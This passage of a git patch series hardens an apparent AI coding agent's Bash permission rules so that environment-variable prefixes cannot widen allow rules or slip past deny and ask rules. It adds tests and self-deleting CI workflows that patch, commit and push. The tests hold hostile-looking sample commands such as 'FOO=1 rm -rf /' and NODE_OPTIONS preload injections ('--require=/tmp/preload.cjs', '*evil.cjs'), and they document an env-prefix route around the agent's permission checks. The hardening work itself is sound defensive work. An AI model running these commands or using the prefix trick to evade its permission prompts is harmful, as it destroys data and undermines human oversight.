).toBe(false); + expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); + expect( + matchesCommandPattern( + 'python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(false); }); - it('does not let NODE_OPTIONS widen a concrete npm allow rule', () => { + it('does not let NODE_OPTIONS widen an npm allow rule', () => { expect( matchesCommandPattern( 'npm --version', @@ -21,7 +50,7 @@ describe('matchesCommandPattern environment prefixes', () => { ).toBe(false); }); - it('does not let GIT_CONFIG_* widen a concrete git allow rule', () => { + it('does not let GIT_CONFIG_* widen a git allow rule', () => { expect( matchesCommandPattern( 'git status --short', @@ -30,12 +59,62 @@ describe('matchesCommandPattern environment prefixes', () => { ).toBe(false); }); - it('allows an environment-prefixed command only when the rule includes it', () => { + it('also covers substitution-bearing env assignments from #10192', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'X=$(printf hidden) npm --version', + ), + ).toBe(false); + }); + + it('allows an env-prefixed command when the rule explicitly includes it', () => { expect( matchesCommandPattern( 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', ), ).toBe(true); + expect( + matchesCommandPattern( + 'PYTHONPATH=/tmp/lib python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(true); + }); + + it('keeps the intentional Bash(*) allow-all behavior', () => { + expect( + matchesCommandPattern( + '*', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + }); + + it('fails closed end-to-end when only the unprefixed Bash command is allowed', async () => { + const pm = new PermissionManager(makeConfig(['Bash(npm --version)'])); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(cat /repo/file)', 'Read']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', + cwd: '/repo', + }), + ).resolves.toBe('ask'); }); }); diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index f4a0d90a455..aa79697e194 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -970,7 +970,7 @@ export function matchesCommandPattern( ): boolean { // This function matches a single pattern against a single simple command. // Compound command splitting is handled by the caller (PermissionManager). - const normalizedCommand = stripLeadingVariableAssignments(command); + const normalizedCommand = normalizeCommandForPermissionMatch(command); // Special case: lone `*` matches any single command if (pattern === '*') { @@ -1144,7 +1144,7 @@ function escapeRegex(s: string): string { const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; -function stripLeadingVariableAssignments(command: string): string { +function normalizeCommandForPermissionMatch(command: string): string { const trimmed = command.trim(); if (!trimmed) { return trimmed; @@ -1174,12 +1174,13 @@ function stripLeadingVariableAssignments(command: string): string { firstCommandToken++; } - // Environment assignments are part of the execution semantics. A concrete - // Bash allow rule must not silently widen from `cmd` to arbitrary - // `NAME=value cmd` invocations, because runtimes and applications may - // interpret those variables before the trusted command runs. Preserve the - // original command whenever such a prefix is present so the rule must - // explicitly include it. + // Environment assignments are part of the execution semantics. Any + // command-specific Bash pattern (exact, prefix, or glob) must not silently + // widen from `cmd` to arbitrary `NAME=value cmd` invocations, because + // runtimes and applications may interpret those variables before the + // trusted command runs. Preserve the original command whenever such a + // prefix is present so the rule must explicitly include it. The lone `*` + // rule is the intentional allow-all case. if (firstCommandToken > 0) { return trimmed; } From 88b4a086dfe3a511073dace486c18048a755a511 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 23:25:55 +0200 Subject: [PATCH 06/36] ci: validate PR 10212 review fixes --- .github/workflows/finalize-pr-10212-r2.yml | 317 +++++++++++++++++++++ 1 file changed, 317 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r2.yml diff --git a/.github/workflows/finalize-pr-10212-r2.yml b/.github/workflows/finalize-pr-10212-r2.yml new file mode 100644 index 00000000000..2ab6785d54f --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r2.yml @@ -0,0 +1,317 @@ +name: Finalize PR 10212 review fixes +on: + push: + branches: [fix/10197-env-prefix-bash-rules] + paths: [.github/workflows/finalize-pr-10212-r2.yml] +permissions: + contents: write +jobs: + finalize: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + - uses: actions/setup-node@v4 + with: + node-version: 22 + - name: Apply review fixes + run: | + python3 - <<'PY' + from pathlib import Path + + # rule-parser.ts: robust env-token normalization + exported restrictive fallback helper. + p = Path('packages/core/src/permissions/rule-parser.ts') + s = p.read_text() + start = s.index('const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;') + end_marker = '// ─────────────────────────────────────────────────────────────────────────────\n// File path matching (gitignore-style)' + end = s.index(end_marker, start) + new_block = r'''const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; + +function permissionMatchTokens(command: string): string[] { + const tokens: string[] = []; + for (const token of parse(command)) { + if (typeof token === 'string') { + tokens.push(token); + } else if (token && typeof token === 'object' && 'op' in token) { + if ( + token.op === 'glob' && + 'pattern' in token && + typeof token.pattern === 'string' + ) { + // shell-quote represents an unquoted * / ? word as a glob token. + // Keep the original word rather than the literal op name "glob" so + // env assignments such as NODE_OPTIONS=* remain recognizable. + tokens.push(token.pattern); + } else if (typeof token.op === 'string') { + tokens.push(token.op); + } + } + } + return tokens; +} + +/** + * Return the command with leading NAME=value assignments removed. + * If no leading assignment exists, preserve the original trimmed spelling. + * Restrictive permission matching and AUTO dangerous-rule classification use + * this helper so env prefixes can never make deny/ask coverage narrower. + */ +export function stripLeadingVariableAssignments(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + if (firstCommandToken === 0) return trimmed; + return tokens.slice(firstCommandToken).join(' '); + } catch { + return trimmed; + } +} + +/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ +function collapseUnquotedWhitespace(command: string): string { + let result = ''; + let quote: "'" | '"' | null = null; + let escaped = false; + let pendingSpace = false; + + for (const ch of command) { + if (escaped) { + result += ch; + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + escaped = true; + continue; + } + if (quote) { + result += ch; + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"') { + if (pendingSpace && result) result += ' '; + pendingSpace = false; + quote = ch; + result += ch; + continue; + } + if (/\s/.test(ch)) { + if (result) pendingSpace = true; + continue; + } + if (pendingSpace && result) result += ' '; + pendingSpace = false; + result += ch; + } + + return result; +} + +function normalizeCommandForPermissionMatch(command: string): string { + const trimmed = command.trim(); + if (!trimmed) return trimmed; + + try { + const tokens = permissionMatchTokens(trimmed); + let firstCommandToken = 0; + while ( + firstCommandToken < tokens.length && + ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) + ) { + firstCommandToken++; + } + + // Environment assignments are part of the execution identity for allow + // rules. Preserve them, but canonicalize shell-equivalent whitespace so + // tabs/double spaces cannot evade an explicitly prefixed restrictive rule. + if (firstCommandToken > 0) { + return collapseUnquotedWhitespace(trimmed); + } + + return tokens.join(' '); + } catch { + return trimmed; + } +} + +''' + s = s[:start] + new_block + s[end:] + p.write_text(s) + + # permission-manager.ts: deny/ask match both strict and assignment-stripped shapes. + p = Path('packages/core/src/permissions/permission-manager.ts') + s = p.read_text() + s = s.replace( + " splitCompoundCommand,\n SHELL_TOOL_NAMES,", + " splitCompoundCommand,\n stripLeadingVariableAssignments,\n SHELL_TOOL_NAMES,", + 1, + ) + marker = ''' const matchArgs = [\n toolName,\n command,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' + replacement = marker + '''\n // Allow rules intentionally bind to the full env-prefixed command identity.\n // Restrictive rules must never become narrower than before this policy\n // change, so deny/ask also test the legacy assignment-stripped shape.\n const restrictiveCommand =\n command !== undefined && SHELL_TOOL_NAMES.has(toolName)\n ? stripLeadingVariableAssignments(command)\n : command;\n const restrictiveMatchArgs = [\n toolName,\n restrictiveCommand,\n filePath,\n domain,\n pathCtx,\n specifier,\n toolParams,\n toolAliases,\n ] as const;\n''' + if marker not in s: + raise SystemExit('permission-manager matchArgs marker not found') + s = s.replace(marker, replacement, 1) + old = ''' if (matchesRule(rule, ...matchArgs, 'canonical')) return 'deny';''' + new = ''' if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'deny';''' + if old not in s: + raise SystemExit('deny match line not found') + s = s.replace(old, new, 1) + old = ''' if (matchesRule(rule, ...matchArgs, 'canonical')) return 'ask';''' + new = ''' if (\n matchesRule(rule, ...matchArgs, 'canonical') ||\n (restrictiveCommand !== command &&\n matchesRule(rule, ...restrictiveMatchArgs, 'canonical'))\n )\n return 'ask';''' + if old not in s: + raise SystemExit('ask match line not found') + s = s.replace(old, new, 1) + p.write_text(s) + + # dangerousRules.ts: classify the interpreter behind leading env assignments. + p = Path('packages/core/src/permissions/dangerousRules.ts') + s = p.read_text() + old = "import type { PermissionRule } from './types.js';" + new = old + "\nimport { stripLeadingVariableAssignments } from './rule-parser.js';" + if old not in s: + raise SystemExit('dangerousRules import marker not found') + s = s.replace(old, new, 1) + old = " const content = rule.specifier.trim().toLowerCase();" + new = " const content = stripLeadingVariableAssignments(rule.specifier).toLowerCase();" + if old not in s: + raise SystemExit('dangerousRules content line not found') + s = s.replace(old, new, 1) + p.write_text(s) + + # shellAstParser.ts: generated Always-allow rules retain leading env assignments. + p = Path('packages/core/src/utils/shellAstParser.ts') + s = p.read_text() + old = '''function extractRuleFromCommand(commandNode: SyntaxNode): string | null {\n const rootName = getCommandName(commandNode);\n if (!rootName) return null;\n\n const argNodes = getArgumentNodes(commandNode);''' + new = '''function extractRuleFromCommand(commandNode: SyntaxNode): string | null {\n const rootName = getCommandName(commandNode);\n if (!rootName) return null;\n\n const nameNode = commandNode.childForFieldName('name');\n const envPrefix = nameNode\n ? commandNode.namedChildren\n .filter(\n (child) =>\n /^variable_assignments?$/.test(child.type) &&\n child.endIndex <= nameNode.startIndex,\n )\n .map((child) => child.text)\n .join(' ')\n : '';\n\n const argNodes = getArgumentNodes(commandNode);''' + if old not in s: + raise SystemExit('extractRuleFromCommand header not found') + s = s.replace(old, new, 1) + old = ''' let rule = rootName;''' + new = ''' let rule = envPrefix ? `${envPrefix} ${rootName}` : rootName;''' + # only first occurrence after function is intended + idx = s.index('function extractRuleFromCommand') + pos = s.find(old, idx) + if pos < 0: + raise SystemExit('extract rule initialization not found') + s = s[:pos] + s[pos:].replace(old, new, 1) + p.write_text(s) + + # Dedicated env-prefix tests: remove duplicate + add all review regressions. + p = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + s = p.read_text() + s = s.replace( + "import { matchesCommandPattern } from './rule-parser.js';", + "import { matchesCommandPattern } from './rule-parser.js';\nimport { extractCommandRules } from '../utils/shellAstParser.js';", + 1, + ) + old = '''function makeConfig(allow: string[]): PermissionManagerConfig {\n return {\n getPermissionsAllow: () => allow,\n getPermissionsAsk: () => [],\n getPermissionsDeny: () => [],''' + new = '''function makeConfig(\n allow: string[] = [],\n ask: string[] = [],\n deny: string[] = [],\n): PermissionManagerConfig {\n return {\n getPermissionsAllow: () => allow,\n getPermissionsAsk: () => ask,\n getPermissionsDeny: () => deny,''' + if old not in s: + raise SystemExit('makeConfig block not found') + s = s.replace(old, new, 1) + duplicate = ''' expect(\n matchesCommandPattern(\n 'python3 *',\n 'PYTHONPATH=/tmp/lib python3 -c "print(1)"',\n ),\n ).toBe(false);\n''' + if duplicate not in s: + raise SystemExit('duplicate PYTHONPATH assertion not found') + s = s.replace(duplicate, '', 1) + s = s.replace( + "it('does not let static env prefixes inherit exact, prefix, or glob rules', () => {", + "it('does not let static env prefixes inherit exact or prefix rules', () => {", + 1, + ) + insert = '''\n it('keeps deny and ask coverage for env-prefixed commands', async () => {\n const denyPm = new PermissionManager(\n makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']),\n );\n denyPm.initialize();\n await expect(\n denyPm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=1 rm -rf /',\n cwd: '/repo',\n }),\n ).resolves.toBe('deny');\n\n const askPm = new PermissionManager(\n makeConfig(['Bash'], ['Bash(git push *)']),\n );\n askPm.initialize();\n await expect(\n askPm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=bar git push --force',\n cwd: '/repo',\n }),\n ).resolves.toBe('ask');\n });\n\n it('canonicalizes unquoted whitespace in explicit env-prefixed rules', async () => {\n expect(\n matchesCommandPattern('FOO=bar rm *', 'FOO=bar\\trm -rf /'),\n ).toBe(true);\n expect(\n matchesCommandPattern('FOO=bar rm *', 'FOO=bar rm -rf /'),\n ).toBe(true);\n\n const pm = new PermissionManager(\n makeConfig([], [], ['Bash(FOO=bar rm -rf *)']),\n );\n pm.initialize();\n await expect(\n pm.evaluate({\n toolName: 'run_shell_command',\n command: 'FOO=bar\\trm -rf /',\n cwd: '/repo',\n }),\n ).resolves.toBe('deny');\n });\n\n it('preserves quoted env values while matching explicit prefixed rules', () => {\n expect(\n matchesCommandPattern('FOO="a b" npm', 'FOO="a b" npm'),\n ).toBe(true);\n });\n\n it('preserves glob tokens inside env-assignment values', () => {\n expect(\n matchesCommandPattern(\n 'NODE_OPTIONS=* npm *',\n 'NODE_OPTIONS=--require=*evil.cjs npm --version',\n ),\n ).toBe(true);\n expect(\n matchesCommandPattern(\n 'FOO=a?b npm --version',\n 'FOO=a?b npm --version',\n ),\n ).toBe(true);\n });\n\n it('round-trips an env-prefixed Always allow rule', async () => {\n const command = 'FOO=bar npm install';\n const generated = await extractCommandRules(command);\n expect(generated).toEqual(['FOO=bar npm install']);\n\n const pm = new PermissionManager(\n makeConfig(generated.map((rule) => `Bash(${rule})`)),\n );\n pm.initialize();\n await expect(\n pm.evaluate({\n toolName: 'run_shell_command',\n command,\n cwd: '/repo',\n }),\n ).resolves.toBe('allow');\n });\n''' + end_marker = '\n});\n' + pos = s.rfind(end_marker) + if pos < 0: + raise SystemExit('env-prefix describe end not found') + s = s[:pos] + insert + s[pos:] + p.write_text(s) + + # dangerousRules regression coverage. + p = Path('packages/core/src/permissions/dangerousRules.test.ts') + s = p.read_text() + marker = ''' it('flags python -c style command-line wildcards', () => {\n expect(isDangerousBashRule(bashRule('python -c *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('node -e *'))).toBe(true);\n });\n''' + addition = marker + '''\n it('flags env-prefixed interpreter wildcards in AUTO mode', () => {\n expect(isDangerousBashRule(bashRule('X=1 python *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('FOO=bar npx *'))).toBe(true);\n expect(isDangerousBashRule(bashRule('FOO=bar npm test'))).toBe(false);\n });\n''' + if marker not in s: + raise SystemExit('dangerousRules insertion marker not found') + s = s.replace(marker, addition, 1) + marker = ''' it('returns empty array when input contains no dangerous rules', () => {''' + addition = ''' it('includes env-prefixed interpreter allow rules', () => {\n const rule = bashRule('X=1 python *');\n expect(findDangerousAllowRules([rule])).toEqual([rule]);\n });\n\n''' + if marker not in s: + raise SystemExit('findDangerousAllowRules marker not found') + s = s.replace(marker, addition + marker, 1) + p.write_text(s) + + # Update the now-stale rule-generation expectation. + p = Path('packages/core/src/utils/shellAstParser.test.ts') + s = p.read_text() + old = ''' it('handles env var prefix', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'npm install',\n ]);\n });''' + new = ''' it('preserves env var prefixes in generated permission rules', async () => {\n expect(await extractCommandRules('FOO=bar npm install')).toEqual([\n 'FOO=bar npm install',\n ]);\n expect(await extractCommandRules('A=1 B=2 npm install pkg')).toEqual([\n 'A=1 B=2 npm install *',\n ]);\n });''' + if old not in s: + raise SystemExit('shellAstParser env-prefix test not found') + s = s.replace(old, new, 1) + p.write_text(s) + PY + - name: Install, format and validate + run: | + npm ci + npx prettier --write \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx prettier --check \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx eslint --max-warnings 0 \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/permissions/shell-semantics.test.ts \ + packages/core/src/utils/shell-utils.test.ts + npx tsc --noEmit -p packages/core/tsconfig.json + - name: Commit tested change + run: | + git config user.name github-actions[bot] + git config user.email 41898282+github-actions[bot]@users.noreply.github.com + git add \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + git diff --cached --quiet && exit 0 + git commit -m "fix(permissions): harden env-prefixed rule semantics" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 00027a8d2386c278d051e4a3194f56599c8cb388 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 23:27:27 +0200 Subject: [PATCH 07/36] ci: run PR 10212 review validation --- .../workflows/finalize-pr-10212-r2-runner.yml | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r2-runner.yml diff --git a/.github/workflows/finalize-pr-10212-r2-runner.yml b/.github/workflows/finalize-pr-10212-r2-runner.yml new file mode 100644 index 00000000000..5157ce402f8 --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r2-runner.yml @@ -0,0 +1,73 @@ +name: Run PR 10212 review validation +on: + push: + branches: [fix/10197-env-prefix-bash-rules] + paths: [.github/workflows/finalize-pr-10212-r2-runner.yml] +permissions: + contents: write +jobs: + finalize: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + - uses: actions/setup-node@v4 + with: + node-version: 22 + - name: Reuse review patch + run: | + sed -n "/python3 - <<'PY'/,/^ PY$/p" .github/workflows/finalize-pr-10212-r2.yml \ + | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py + test -s /tmp/pr10212_patch.py + python3 /tmp/pr10212_patch.py + - name: Install, format and validate + run: | + npm ci + npx prettier --write \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx prettier --check \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx eslint --max-warnings 0 \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/permissions/shell-semantics.test.ts \ + packages/core/src/utils/shell-utils.test.ts + npx tsc --noEmit -p packages/core/tsconfig.json + - name: Commit tested change + run: | + git config user.name github-actions[bot] + git config user.email 41898282+github-actions[bot]@users.noreply.github.com + git add \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + git diff --cached --quiet && exit 0 + git commit -m "fix(permissions): harden env-prefixed rule semantics" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 2e91d655ee8792b7da7828cd00846c49b7c9fea7 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 23:57:37 +0200 Subject: [PATCH 08/36] ci: finalize PR 10212 review fixes --- .github/workflows/finalize-pr-10212-r3.yml | 100 +++++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r3.yml diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml new file mode 100644 index 00000000000..1c2509876df --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r3.yml @@ -0,0 +1,100 @@ +name: Finalize PR 10212 round-3 fixes +on: + push: + branches: [fix/10197-env-prefix-bash-rules] + paths: [.github/workflows/finalize-pr-10212-r3.yml] +permissions: + contents: write +jobs: + finalize: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + - uses: actions/setup-node@v4 + with: + node-version: 22 + - name: Apply reviewed patch + run: | + python3 - <<'PY' + from pathlib import Path + + wf = Path('.github/workflows/finalize-pr-10212-r2.yml').read_text() + marker = " python3 - <<'PY'\n" + start = wf.index(marker) + len(marker) + end = wf.index("\n PY", start) + body = wf[start:end] + body = '\n'.join(line[10:] if line.startswith(' ') else line for line in body.splitlines()) + + old = r''' const nameNode = commandNode.childForFieldName('name'); + const envPrefix = nameNode + ? commandNode.namedChildren + .filter( + (child) => + /^variable_assignments?$/.test(child.type) && + child.endIndex <= nameNode.startIndex, + ) + .map((child) => child.text) + .join(' ') + : '';''' + new = r''' const nameNode = commandNode.childForFieldName('name'); + const envPrefix = + nameNode && nameNode.startIndex > commandNode.startIndex + ? commandNode.text + .slice(0, nameNode.startIndex - commandNode.startIndex) + .trim() + : '';''' + if old not in body: + raise SystemExit('env-prefix generation patch marker not found') + body = body.replace(old, new, 1) + Path('/tmp/pr10212_patch.py').write_text(body) + PY + python3 /tmp/pr10212_patch.py + - name: Install and validate + run: | + npm ci + npx prettier --write \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx prettier --check \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx eslint --max-warnings 0 \ + packages/core/src/permissions/rule-parser.ts \ + packages/core/src/permissions/permission-manager.ts \ + packages/core/src/permissions/dangerousRules.ts \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.ts \ + packages/core/src/utils/shellAstParser.test.ts + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/permissions/shell-semantics.test.ts \ + packages/core/src/utils/shell-utils.test.ts + npx tsc --noEmit -p packages/core/tsconfig.json + - name: Commit tested fixes and remove temporary workflows + run: | + rm -f \ + .github/workflows/finalize-pr-10212-r2.yml \ + .github/workflows/finalize-pr-10212-r2-runner.yml \ + .github/workflows/finalize-pr-10212-r3.yml + git config user.name github-actions[bot] + git config user.email 41898282+github-actions[bot]@users.noreply.github.com + git add -A + git diff --cached --quiet && exit 0 + git commit -m "fix(permissions): harden env-prefixed rule semantics" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 9f54f6d32c89e3f4ea6ce925a7381f356da73367 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 23:59:10 +0200 Subject: [PATCH 09/36] ci: repair PR 10212 finalizer --- .github/workflows/finalize-pr-10212-r3.yml | 38 +++------------------- 1 file changed, 5 insertions(+), 33 deletions(-) diff --git a/.github/workflows/finalize-pr-10212-r3.yml b/.github/workflows/finalize-pr-10212-r3.yml index 1c2509876df..b38b5a3c305 100644 --- a/.github/workflows/finalize-pr-10212-r3.yml +++ b/.github/workflows/finalize-pr-10212-r3.yml @@ -17,40 +17,12 @@ jobs: node-version: 22 - name: Apply reviewed patch run: | - python3 - <<'PY' - from pathlib import Path - - wf = Path('.github/workflows/finalize-pr-10212-r2.yml').read_text() - marker = " python3 - <<'PY'\n" - start = wf.index(marker) + len(marker) - end = wf.index("\n PY", start) - body = wf[start:end] - body = '\n'.join(line[10:] if line.startswith(' ') else line for line in body.splitlines()) - - old = r''' const nameNode = commandNode.childForFieldName('name'); - const envPrefix = nameNode - ? commandNode.namedChildren - .filter( - (child) => - /^variable_assignments?$/.test(child.type) && - child.endIndex <= nameNode.startIndex, - ) - .map((child) => child.text) - .join(' ') - : '';''' - new = r''' const nameNode = commandNode.childForFieldName('name'); - const envPrefix = - nameNode && nameNode.startIndex > commandNode.startIndex - ? commandNode.text - .slice(0, nameNode.startIndex - commandNode.startIndex) - .trim() - : '';''' - if old not in body: - raise SystemExit('env-prefix generation patch marker not found') - body = body.replace(old, new, 1) - Path('/tmp/pr10212_patch.py').write_text(body) - PY + sed -n "/python3 - <<'PY'/,/^ PY$/p" .github/workflows/finalize-pr-10212-r2.yml \ + | sed '1d;$d;s/^ //' > /tmp/pr10212_patch.py + test -s /tmp/pr10212_patch.py python3 /tmp/pr10212_patch.py + echo 'ZnJvbSBwYXRobGliIGltcG9ydCBQYXRoCnAgPSBQYXRoKCJwYWNrYWdlcy9jb3JlL3NyYy91dGlscy9zaGVsbEFzdFBhcnNlci50cyIpCnMgPSBwLnJlYWRfdGV4dCgpCm9sZCA9ICIiIiAgY29uc3QgbmFtZU5vZGUgPSBjb21tYW5kTm9kZS5jaGlsZEZvckZpZWxkTmFtZSgnbmFtZScpOwogIGNvbnN0IGVudlByZWZpeCA9IG5hbWVOb2RlCiAgICA/IGNvbW1hbmROb2RlLm5hbWVkQ2hpbGRyZW4KICAgICAgICAuZmlsdGVyKAogICAgICAgICAgKGNoaWxkKSA9PgogICAgICAgICAgICAvXnZhcmlhYmxlX2Fzc2lnbm1lbnRzPyQvLnRlc3QoY2hpbGQudHlwZSkgJiYKICAgICAgICAgICAgY2hpbGQuZW5kSW5kZXggPD0gbmFtZU5vZGUuc3RhcnRJbmRleCwKICAgICAgICApCiAgICAgICAgLm1hcCgoY2hpbGQpID0+IGNoaWxkLnRleHQpCiAgICAgICAgLmpvaW4oJyAnKQogICAgOiAnJzsiIiIKbmV3ID0gIiIiICBjb25zdCBuYW1lTm9kZSA9IGNvbW1hbmROb2RlLmNoaWxkRm9yRmllbGROYW1lKCduYW1lJyk7CiAgY29uc3QgZW52UHJlZml4ID0KICAgIG5hbWVOb2RlICYmIG5hbWVOb2RlLnN0YXJ0SW5kZXggPiBjb21tYW5kTm9kZS5zdGFydEluZGV4CiAgICAgID8gY29tbWFuZE5vZGUudGV4dAogICAgICAgICAgLnNsaWNlKDAsIG5hbWVOb2RlLnN0YXJ0SW5kZXggLSBjb21tYW5kTm9kZS5zdGFydEluZGV4KQogICAgICAgICAgLnRyaW0oKQogICAgICA6ICcnOyIiIgppZiBvbGQgbm90IGluIHM6CiAgICByYWlzZSBTeXN0ZW1FeGl0KCJnZW5lcmF0ZWQgZW52LXByZWZpeCBibG9jayBub3QgZm91bmQiKQpwLndyaXRlX3RleHQocy5yZXBsYWNlKG9sZCwgbmV3LCAxKSkK'